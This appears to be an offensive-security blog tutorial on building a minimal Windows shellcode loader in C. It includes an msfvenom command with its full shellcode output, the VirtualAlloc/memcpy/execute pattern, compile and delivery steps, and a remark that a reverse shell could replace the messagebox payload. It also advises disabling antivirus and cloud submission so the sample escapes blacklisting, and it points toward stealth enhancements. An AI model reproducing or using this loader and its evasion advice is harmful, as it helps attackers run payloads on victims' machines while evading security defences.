In the domain of cybersecurity, shellcode loaders serve as critical components for executing arbitrary code within compromised systems. This guide aims to provide a step-by-step tutorial on creating a minimal shellcode loader using the C programming language. By understanding the concepts presented here, you'll gain insights into low-level system interactions and enhance your skills in offensive and defensive security practices.
Requirements
We are using Kali Linux to create the shellcode and to compile the final loader. With the use of the MinGW cross-compiler we can create a windows executeable even under Linux.
Get Kali:
https://www.kali.org/get-kali/#kali-platforms
Get a Windows VM:
https://developer.microsoft.com/en-us/windows/downloads/virtual-machines/
Install MinGW on Kali:
sudo apt-get install build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
Step 1: Create Shellcode
Shellcode is a small segment of machine code typically written in assembly language. It's designed to be injected into a vulnerable process, enabling attackers to execute arbitrary commands or payloads within the context of the compromised system. Understanding the structure and functionality of shellcode is crucial for developing an effective loader.
We generate a basic messagebox shellcode using the Metasploit Framework and the tool msfvenom. We could just as easily use a reverse shell or other shellcode. For a functional test, however, a message box is more convenient.
msfvenom -p windows/x64/messagebox TEXT=zerodetection TITLE=zerodetection -f c
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 322 bytes
Final size of c file: 1381 bytes
unsigned char buf[] =
"\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xd0\x00\x00\x00\x41"
"\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60"
"\x3e\x48\x8b\x52\x18\x3e\x48\x8b\x52\x20\x3e\x48\x8b\x72"
"\x50\x3e\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac"
"\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2"
"\xed\x52\x41\x51\x3e\x48\x8b\x52\x20\x3e\x8b\x42\x3c\x48"
"\x01\xd0\x3e\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x6f"
"\x48\x01\xd0\x50\x3e\x8b\x48\x18\x3e\x44\x8b\x40\x20\x49"
"\x01\xd0\xe3\x5c\x48\xff\xc9\x3e\x41\x8b\x34\x88\x48\x01"
"\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01"
"\xc1\x38\xe0\x75\xf1\x3e\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd6\x58\x3e\x44\x8b\x40\x24\x49\x01\xd0\x66\x3e\x41"
"\x8b\x0c\x48\x3e\x44\x8b\x40\x1c\x49\x01\xd0\x3e\x41\x8b"
"\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58"
"\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41"
"\x59\x5a\x3e\x48\x8b\x12\xe9\x49\xff\xff\xff\x5d\x3e\x48"
"\x8d\x8d\x2a\x01\x00\x00\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x49\xc7\xc1\x00\x00\x00\x00\x3e\x48\x8d\x95\x0e\x01\x00"
"\x00\x3e\x4c\x8d\x85\x1c\x01\x00\x00\x48\x31\xc9\x41\xba"
"\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0\xb5\xa2"
"\x56\xff\xd5\x7a\x65\x72\x6f\x64\x65\x74\x65\x63\x74\x69"
"\x6f\x6e\x00\x7a\x65\x72\x6f\x64\x65\x74\x65\x63\x74\x69"
"\x6f\x6e\x00\x75\x73\x65\x72\x33\x32\x2e\x64\x6c\x6c\x00";
Please note that depending on the Metasploit version, there may be issues with the messagebox shellcode. In older versions, it is assumed that the process has loaded the user32.dll, and the messagebox will not be executed otherwise. It's best to update the Metasploit Framework to the latest version, then everything should work correctly.
Step 2: Designing the Loader
The primary goal of our shellcode loader is to inject the shellcode into the memory of a process and execute it. In this step, we'll outline the design principles for our minimal loader, emphasizing simplicity, efficiency, and compatibility with the C programming language. We'll explore techniques such as process creation, memory allocation, and code injection to achieve our objectives.
There are multiple ways to achieve this goal. In this post, we start with the simplest ones.
VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
This function is likely from the Windows API. It's used to allocate memory with specific permissions. Here, it's allocating memory for the shellcode to be executed. The parameters are: 0: This is the address where the allocation should start. In this case, 0 means let the system decide. sizeof shellcode: The size of the memory to allocate. shellcode appears to be some predefined array or pointer containing machine code instructions. MEM_COMMIT: This flag indicates that the memory should be committed (allocated). PAGE_EXECUTE_READWRITE: This flag indicates the protection level for the memory. It allows the memory to be both readable and writable, but importantly, it also allows it to be executed as code.
memcpy(exec, shellcode, sizeof shellcode);
This line copies the contents of the shellcode array to the memory allocated by VirtualAlloc. It ensures that the machine code instructions in shellcode are now in the executable memory allocated in the previous step.
((void(*)())exec)();
This line is casting the exec pointer to a function pointer of type void(*)() (a function that takes no arguments and returns void, and then immediately calling that function. This effectively treats the memory allocated and filled with shellcode as a function and executes it.
It is important to mention at this point that in the example, we do not leave the original process. This can play a positive role in detection. Many antivirus products or EDR systems (Endpoint Detection and Response) often find it suspicious when a process accesses another.
Step 3: Implementing the Loader in C
With a clear design strategy in mind, we'll proceed to implement our minimal shellcode loader using the C programming language. This step involves writing code to create a new process, allocate memory within the process address space, and inject the shellcode into the allocated memory. We'll leverage system calls and library functions provided by the operating system to accomplish these tasks efficiently.
#include "windows.h" int main() { |
Get the full source-code here:
https://github.com/ZERODETECTION/LABS/blob/2a8677b66c2acf5f3e67a97a6f9f26cbf9be5651/shell.c
After inserting the shellcode, we can compile our loader:
x86_64-w64-mingw32-gcc shell.c -o shell.exe
Step 4: Testing and Debugging
Testing and debugging are critical phases in the development of any software, including shellcode loaders.
Since we are not using any encryption or obfuscation and are using the shellcode directly from MSFVenom, the likelihood of an antivirus scanner detecting the code as malicious is very high. To test the execution, I recommend temporarily disabling the antivirus scanner or creating an exception.
Furthermore, it is advisable to disable cloud submission in antivirus scanners altogether, as otherwise, the executable will be uploaded and analyzed via sandboxing. This leads to an immediate detection of the code, resulting in it being blacklisted in the short term.
To transfer the shell.exe to our target windows box we utilize a python webserver:
python3 -m http.server
Now we go to our windows box, start a command prompt, download our shell.exe to the system and execute it:
It is important to ensure that the shellcode used matches the architecture of the process. Since we are staying within our own process in this example, it must be an x64 process, as indicated in the example. Otherwise, the execution will fail and the process will crash.
Step 5: Enhancements and Further Exploration
While our focus has been on creating a minimal shellcode loader in C, there's ample opportunity for enhancements and further exploration. We'll discuss advanced techniques and additional features that can be integrated into the loader to enhance its capabilities and stealthiness. This step serves as a starting point for continued experimentation and learning in the field of cybersecurity.
Let's briefly analyze what's not so optimal with our code. Firstly, we're not using any encryption or obfuscation of the shellcode, making it easily discoverable. Secondly, we're using functions that are well-known for executing shellcode. Thirdly, we're allocating an executable memory region, which is very conspicuous.
There are various other indicators that we haven't considered yet, such as the compiler, the compile time, the resource section, and other points that could impact detection.
Conclusion
In conclusion, the development of a minimal shellcode loader in C provides valuable insights into system-level programming and cybersecurity. By following this step-by-step guide, readers can gain a deeper understanding of shellcode execution techniques and strengthen their proficiency in offensive and defensive security practices. With the knowledge acquired from this tutorial, you'll be better equipped to navigate the complexities of modern cybersecurity threats and contribute to the development of robust security solutions.